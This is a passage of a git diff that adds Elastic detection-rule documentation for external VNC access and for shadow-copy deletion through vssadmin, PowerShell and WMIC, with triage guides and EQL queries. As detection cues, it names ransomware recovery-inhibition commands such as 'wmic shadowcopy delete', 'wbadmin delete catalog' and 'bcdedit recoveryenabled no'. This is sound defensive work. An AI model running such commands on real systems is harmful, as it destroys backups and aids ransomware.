tools that use VNC for legitimate purposes might be flagged. Identify these tools and whitelist their IP addresses to prevent unnecessary alerts. +- Testing environments that simulate external access to VNC for security assessments can cause false positives. Exclude IP ranges associated with these environments to avoid confusion. +- Cloud-based services that use VNC for remote management might be misidentified as threats. Verify these services and add their IP addresses to an exception list if they are trusted. +- Temporary remote access setups for troubleshooting or support can be mistaken for unauthorized access. Document these instances and apply temporary exceptions to reduce false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active VNC sessions that are identified as originating from external networks to cut off potential attacker access. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data transfer that may have occurred during the VNC exposure. +- Change all passwords and credentials associated with the affected system and any other systems that may have been accessed using the same credentials. +- Apply necessary patches and updates to the VNC software and any other vulnerable applications on the affected system to mitigate known vulnerabilities. +- Implement network segmentation to ensure that VNC services are only accessible from trusted internal networks and not exposed to the internet. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be compromised. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow) or event.category:(network or network_traffic)) and + network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: VNC +** ID: T1021.005 +** Reference URL: https://attack.mitre.org/techniques/T1021/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc new file mode 100644 index 0000000000..acd8e36e5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-volume-shadow-copy-deleted-or-resized-via-vssadmin]] +=== Volume Shadow Copy Deleted or Resized via VssAdmin + +Identifies use of vssadmin.exe for shadow copy deletion or resizing on endpoints. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deleted or Resized via VssAdmin* + + + +*Possible investigation steps* + + +- What recovery-inhibition path does the alert-local command express? + - Focus: `process.command_line` and `process.args`; separate "delete shadows" with "/all", "/quiet", "/for=", "/oldest", or "/shadow=" from "resize shadowstorage" with "/for=", "/on=", and "/maxsize=". + - Implication: escalate faster when the command deletes all shadows, suppresses prompts, targets broad restore scope, or forces a tiny maximum; lower suspicion when it targets one volume, one shadow ID, or capacity-aligned resize inside a recognized retention, storage, or reset workflow. + +- Is the VssAdmin binary identity consistent with the tool being invoked? + - Focus: `process.executable`, `process.pe.original_file_name`, and, when available, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when path, PE metadata, hash, signer, or trust does not fit Microsoft VssAdmin; lower suspicion when identity matches the expected Microsoft tool, but identity never clears broad deletion or forced shrinkage. + +- Does the launcher and account explain why VssAdmin changed shadow-copy state? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, `user.name`, and `user.domain`. + - Implication: escalate when Office, a browser, script host, remote-access tool, or unusual account launches the command; lower suspicion when the parent and account match the same backup agent, deployment runner, storage-management console, image-prep script, or lab-reset workflow. + +- Are surrounding process events part of the same recovery-inhibition or impact chain? + - Why: destructive operators often pair VssAdmin with recovery tampering ("wmic shadowcopy delete", "diskshadow", "wbadmin delete catalog", "bcdedit recoveryenabled no", "reagentc /disable"), service stops, or encryption launchers. + - Focus: same-parent starts by `host.id` plus `process.parent.entity_id`; compare `process.name`, `process.command_line`, parent context, and timing. !{investigate{"description":"","label":"Process events from the same parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Range: start with the alert window through the next 15 minutes; expand only if the same lineage shows recovery tampering or encryption prep. + - Implication: escalate when the same lineage or short window shows backup deletion, recovery disablement, service stops, security-tool interference, or encryption tooling; lower suspicion when activity stays within one coherent maintenance or reset sequence. + +- If endpoint file telemetry is available, is destructive file impact already visible from this process or host? + - Focus: file events by `host.id` plus `process.entity_id`; fallback to `host.id`, `process.pid`, and a tight alert window, checking `file.path`, `file.extension`, and `file.Ext.original.extension`. !{investigate{"description":"","label":"File events from VssAdmin","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when file activity shows mass renames, unfamiliar extensions, ransom-note drops, or destructive cleanup after VssAdmin starts; absence of file telemetry is unresolved, not benign. + +- Do same-user or same-host alerts show spread beyond this VssAdmin event? + - Focus: same-`user.id` related alerts, especially impact, backup tampering, execution, credential, or lateral-movement activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if local scope, lineage, process activity, or file impact remains suspicious or unresolved, review the same `host.id` for other shadow-copy, backup-catalog, service-stop, encryption, or ransom-note alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when same-user or same-host alerts show additional recovery inhibition, encryption, credential access, or lateral movement; keep scope local when both pivots match the same exact retention, storage-maintenance, image-prep, or lab-reset pattern. + +- Escalate when command intent plus launch context or surrounding process/file evidence supports unauthorized recovery inhibition; close only when command scope, identity, lineage, account, host, and follow-on telemetry bind to one exact recognized workflow, with outside confirmation if telemetry cannot prove legitimacy. Preserve evidence and escalate on conflict or incomplete visibility. + + +*False positive analysis* + + +- Backup retention, storage maintenance, disaster-recovery testing, image preparation, and lab resets can delete one shadow copy or resize shadow storage. Confirm command scope (`process.command_line`), lineage (`process.parent.executable` and `process.parent.command_line`), actor/asset (`user.id`, `host.id`, `host.name`), and follow-on evidence with no same-window recovery tampering, encryption, ransom-note, or destructive cleanup outside that workflow. External records can corroborate after telemetry matches; otherwise require recurring command scope, parent, account, and host pattern across prior alerts without contradictory process or file evidence. +- Before creating an exception, validate recurring `process.executable`, `process.pe.original_file_name`, `process.parent.executable`, stable `process.command_line` scope, `user.id` or `user.name`, and `host.id` for the confirmed workflow. Keep it constrained to that workflow and avoid exceptions on `process.name`, "vssadmin.exe", "resize", "delete", or "shadows" alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary controls and record the command scope, parent lineage, account, host, and external evidence that tied the event to recognized maintenance or reset activity. Create an exception only if the same command scope, lineage, account, and host recur consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert document, raw process event, parent tree, full command line, account and host identifiers, same-window process activity, and any file-impact artifacts before containment. Apply reversible containment first: isolate the host if destructive activity appears and host criticality allows it; otherwise restrict the implicated admin channel or account while scope is confirmed. Broaden containment only if same-user or same-host pivots show spread. +- If confirmed malicious, keep the preserved evidence and isolate the endpoint to stop further impact while retaining telemetry. Suspend related accounts or admin channels when session, lineage, or related-alert evidence shows misuse. Record `process.entity_id` and `process.command_line` before termination. Remove only malicious scripts, payloads, scheduled tasks, services, ransom notes, and backup-tampering changes identified during the investigation. +- Restore affected VSS, backup, and recovery settings, validate that snapshots or backup jobs work again, and recover impacted data from trusted backups after containment and eradication are complete. +- Post-incident hardening: restrict VSS-management workflows on sensitive hosts, limit backup-administration rights, protect offline or out-of-band backups from the same accounts, and validate controls for adjacent recovery-inhibition variants such as "wmic shadowcopy delete", "diskshadow", "wbadmin delete catalog", "bcdedit", and "reagentc". + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "vssadmin.exe" or ?process.pe.original_file_name == "VSSADMIN.EXE") and + process.args : ("delete", "resize") and process.args : "shadows*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-powershell.asciidoc new file mode 100644 index 0000000000..d8e4b26fbc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-powershell.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-powershell]] +=== Volume Shadow Copy Deletion via PowerShell + +Identifies the use of the Win32_ShadowCopy class and related cmdlets to achieve shadow copy deletion. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/vsswmi/win32-shadowcopy +* https://powershell.one/wmi/root/cimv2/win32_shadowcopy +* https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deletion via PowerShell* + + + +*Possible investigation steps* + + +- Does the alert-local PowerShell command show broad shadow-copy deletion, remote targeting, or obscured execution? + - Focus: `process.command_line`, checking whether "Win32_ShadowCopy" is paired with WMI or CIM enumeration and deletion. + - Hint: treat `Get-WmiObject`, `gwmi`, `Get-CimInstance`, `gcim`, `Remove-WmiObject`, `rwmi`, `Remove-CimInstance`, `rcim`, "$_.Delete()", `-ComputerName`, and `-CimSession` as high-signal command cues. This rule requires plaintext cmdlet tokens in `process.args`; fully encoded commands or script-file invocations that hide the deletion logic will not fire this rule. + - Implication: escalate when the command deletes all returned shadow-copy instances, targets remote systems, or hides WMI or CIM deletion behind aliases; lower suspicion only when narrowly scoped to one recognized backup-retention, image-reset, or lab-test workflow on the expected host. + +- Is the PowerShell host binary expected rather than renamed or tampered? + - Focus: `process.executable`, `process.name`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when path, signer, trust state, or original file name does not match the expected PowerShell host; lower suspicion when identity matches a trusted system PowerShell installation, but continue because legitimate PowerShell can still delete recovery points. + +- Does the parent process and user context explain why this host removed shadow copies? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, `user.name`, and `user.domain`. + - Implication: escalate when Office, a browser, a script host, an unexpected remote-management chain, or a standard user launches deletion; lower suspicion when parent, account, and host match a recognized backup, imaging, disaster-recovery, or lab-reset workflow. + +- Do surrounding process events show recovery inhibition or ransomware preparation from the same host or lineage? + - Why: ransomware commonly pairs shadow-copy deletion with other recovery removal or encryption preparation before impact. + - Focus: process starts on `host.id` and, when present, the same `process.entity_id` or lineage, using `process.name`, `process.command_line`, and `process.parent.executable`. !{investigate{"description":"","label":"Process starts on the same host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Range: start with the alert window and following 15 minutes; expand only when the same lineage shows recovery tampering or encryption behavior. + - Implication: escalate when the same window shows `vssadmin`, `wmic`, `diskshadow`, `wbadmin`, backup service stops, recovery-setting changes, or likely encryptor launchers; lower suspicion when activity stays bounded to the same parent-launched cleanup or reset sequence and no other recovery-inhibition utilities appear. + +- If command or lineage remains suspicious and endpoint file telemetry is available, does file activity show encryption or destructive cleanup? + - Focus: recover file events with `host.id` + `process.entity_id`; if absent, use `host.id` + `process.pid` plus a tight alert window as a weaker fallback, then review `file.path`, `file.extension`, and `file.Ext.original.extension`. !{investigate{"description":"","label":"File events from the PowerShell process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when recovered file events show mass renames, unfamiliar extensions, replaced user files, or ransom-note paths after deletion; lower suspicion only when changes stay inside the recovered backup or reset target. Missing endpoint file telemetry leaves file impact unanswered; do not treat absence of file evidence as benign. + +- If local evidence remains suspicious or unresolved, does related alerting show the same VSS deletion or backup-tampering pattern? + - Focus: related impact or execution alerts for the same `user.id` involving VSS deletion, backup tampering, credential access, or the same parent tool. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: check the same `host.id` for shadow-copy deletion by other binaries, encryption, ransom-note creation, backup tampering, or service tampering. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when the same user touches multiple hosts or the same host shows a broader ransomware chain; keep the case local only when related alerts are absent and local telemetry already fits one recognized workflow. + +- Escalate broad or remote shadow-copy deletion that lacks a recognized workflow, has suspicious lineage, destructive process or file evidence, or related spread; close only when narrow command scope, identity, lineage, and supported surrounding telemetry fit one workflow; preserve and escalate mixed or visibility-limited evidence. + + +*False positive analysis* + + +- PowerShell WMI or CIM shadow-copy deletion is suspicious by default outside controlled backup-retention cleanup, disaster-recovery testing, gold-image preparation, lab reset, or ransomware simulation. Close as benign only when `process.command_line` is narrowly scoped, `process.parent.executable` matches the backup, orchestration, reset, or test tool, `user.id` or `user.name` matches the expected admin or service account, `host.id` plus `host.name` fit the target, and surrounding telemetry shows no destructive process or file impact. Use change records or lab schedules only as corroboration; generic storage maintenance is not enough. +- Before creating an exception, validate historical stability for the same `process.executable`, `process.parent.executable`, stable `process.command_line` scope, `user.id` or `user.name`, and `host.id`. Build the exception from that minimum confirmed workflow pattern. Avoid exceptions on "powershell.exe", `process.name`, or "Win32_ShadowCopy" alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the `process.command_line`, `process.parent.executable`, `user.id` or `user.name`, `host.id`, and maintenance evidence that proved the workflow. Create an exception only if the same command scope, lineage, account, and host recur consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, `process.entity_id`, full `process.command_line`, `process.args`, parent chain, `user.id`, `user.name`, `host.id`, surrounding process commands, and any recovered file-impact examples before containment. Apply reversible containment first: isolate the host only when destructive process or file evidence suggests ongoing impact and the host can tolerate isolation; otherwise restrict the implicated admin channel or account while scope is confirmed. Expand containment to related hosts or accounts only if the same-user or same-host pivots show spread. +- If confirmed malicious, preserve the same process, command, lineage, and recovered file-impact artifacts before destructive action. Prefer endpoint isolation to stop further impact while keeping telemetry available; if direct response is unavailable, escalate with the preserved `host.id`, `user.id`, `user.name`, `process.entity_id`, `process.command_line`, and suspected ransom-note or renamed-extension indicators to the team that can isolate the host and suspend related accounts or services. If the malicious process chain is still active, record `process.entity_id` and `process.command_line` before suspending or terminating it. +- After scope review, remove only the malicious scripts, scheduled tasks, services, payloads, or dropped notes identified during the investigation, then restore affected backup or recovery settings and validate that snapshots or backup jobs are functioning before closure. +- Post-incident hardening: restrict VSS-management workflows and remote CIM deletion patterns to controlled administrative channels, retain the process and file telemetry that proved the case, and review whether adjacent VSS methods such as "vssadmin", "wmic", `diskshadow`, `wbadmin`, COM-based deletion, or diff-area resizing need the same controls. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.args : ("*Get-WmiObject*", "*gwmi*", "*Get-CimInstance*", "*gcim*") and + process.args : ("*Win32_ShadowCopy*") and + process.args : ("*.Delete()*", "*Remove-WmiObject*", "*rwmi*", "*Remove-CimInstance*", "*rcim*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-wmic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-wmic.asciidoc new file mode 100644 index 0000000000..4e4af11fd7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-wmic.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-volume-shadow-copy-deletion-via-wmic]] +=== Volume Shadow Copy Deletion via WMIC + +Identifies use of wmic.exe for shadow copy deletion on endpoints. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deletion via WMIC* + + + +*Possible investigation steps* + + +- What recovery data did WMIC try to delete? + - Focus: `process.command_line` scope: "shadowcopy delete", "ID=", "VolumeName=", "where", "/node:", or broad no-filter deletion. + - Implication: escalate when the command removes all shadows, targets a remote node, or lacks a narrow snapshot or volume filter; lower suspicion only when it targets one expected snapshot or volume and parent, account, host, and later process evidence fit that task. + +- Is this the expected Microsoft WMIC binary for the host? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when WMIC is renamed, runs outside a Windows system path, has a non-Microsoft or untrusted signature, or mismatches its original file name; Microsoft-signed system-path WMIC lowers identity risk but does not clear shadow-copy deletion. + +- Which launcher and account initiated the deletion? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, `user.name`, and `user.domain`. + - Implication: escalate when a document, browser, archive tool, script host, interactive user, or unexplained remote-management parent launches WMIC; lower suspicion only when parent command, account, and host identify the exact recovery, imaging, lab-reset, or authorized test runner. + +- Did the same host or lineage run other recovery-inhibition or encryption-prep commands? + - Why: ransomware often mixes WMIC with "vssadmin.exe", "wbadmin.exe", "bcdedit.exe", "REAgentC.exe", "diskshadow.exe", service-stop commands, or encryption tooling. + - Focus: same-`host.id` process starts, scoped to `process.parent.entity_id` when present, for recovery-inhibition utilities, service stops, backup-agent tampering, or encryption tools. !{investigate{"description":"","label":"Process events from the same parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: without `process.entity_id`, pivot by `host.id` + `process.pid` near the alert and treat lineage as weaker. + - Implication: escalate when WMIC is adjacent to additional recovery inhibition, backup tampering, service stops, or encryption preparation; keep scope narrower when process activity stays limited to one coherent maintenance or test sequence. + +- If local evidence is suspicious or unresolved, is the activity broader than one host workflow? + - Focus: same-`user.id` alerts for impact, execution, credential, or recovery-inhibition activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review same-`host.id` alerts for alternate shadow-copy deletion utilities, backup tampering, or repeated destructive command lines. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the user or host shows related impact or execution alerts beyond this command; keep host-local only when both pivots stay confined to the same narrow command sequence. + +- Escalate for unauthorized shadow-copy deletion, remote targeting, destructive preparation, or broader spread; close only when command scope, binary identity, parent/account context, same-host corroboration, and related alerts bind to one recognized workflow; preserve evidence and escalate when mixed or incomplete. + + +*False positive analysis* + + +- Treat WMIC shadow-copy deletion as a recovery-inhibition anti-pattern. Benign closure is narrow: telemetry must show one expected snapshot or volume, a parent command for that exact task, the expected account and host, and no contradictory same-host recovery-inhibition or encryption-prep activity. Use change records or test plans only as corroboration. +- Do not close as benign when the command removes all shadows, uses "/node:" remote targeting, has unexplained lineage, or appears with service-stop, backup-tampering, or encryption-prep activity. Recurrence, WMIC identity, or a stated maintenance window is not enough when process evidence remains broad or contradictory. +- Before creating an exception, require a confirmed benign case with the exact `process.command_line` scope, `process.parent.executable`, `process.parent.command_line`, `user.id`, and `host.id`. Build the exception from that minimum pattern, never on "wmic.exe", `process.name`, or "shadowcopy" alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the command scope, parent workflow, account, host, and corroborating maintenance or test evidence. Create an exception only when the same workflow recurs consistently for the same account and host scope. +- If suspicious but unconfirmed, export the alert, process tree, full command line, parent command line, account, host identifiers, and related-alert results before containment. Apply reversible containment first, such as heightened monitoring or temporary administrative-access restrictions for the affected host or account; isolate the endpoint only if process evidence suggests active encryption, backup tampering, or broader destructive activity. +- If confirmed malicious, preserve the process tree and command evidence before stopping processes or deleting artifacts. Isolate the endpoint to prevent further impact, suspend or reset involved accounts when the same `user.id` shows unauthorized activity, and remove only the scripts, scheduled tasks, services, or tools identified through the process investigation. +- Restore recovery capability after containment: re-enable or repair affected VSS, backup, and recovery settings, validate that snapshots or backup jobs are functioning, and confirm no related recovery-inhibition commands remain active on the same host or scoped host set. +- Post-incident hardening: restrict WMIC and VSS-management access on sensitive hosts, use application control where WMIC is not required, retain the process evidence that proved the case, and record any observed variants such as "vssadmin.exe", PowerShell Win32_ShadowCopy deletion, 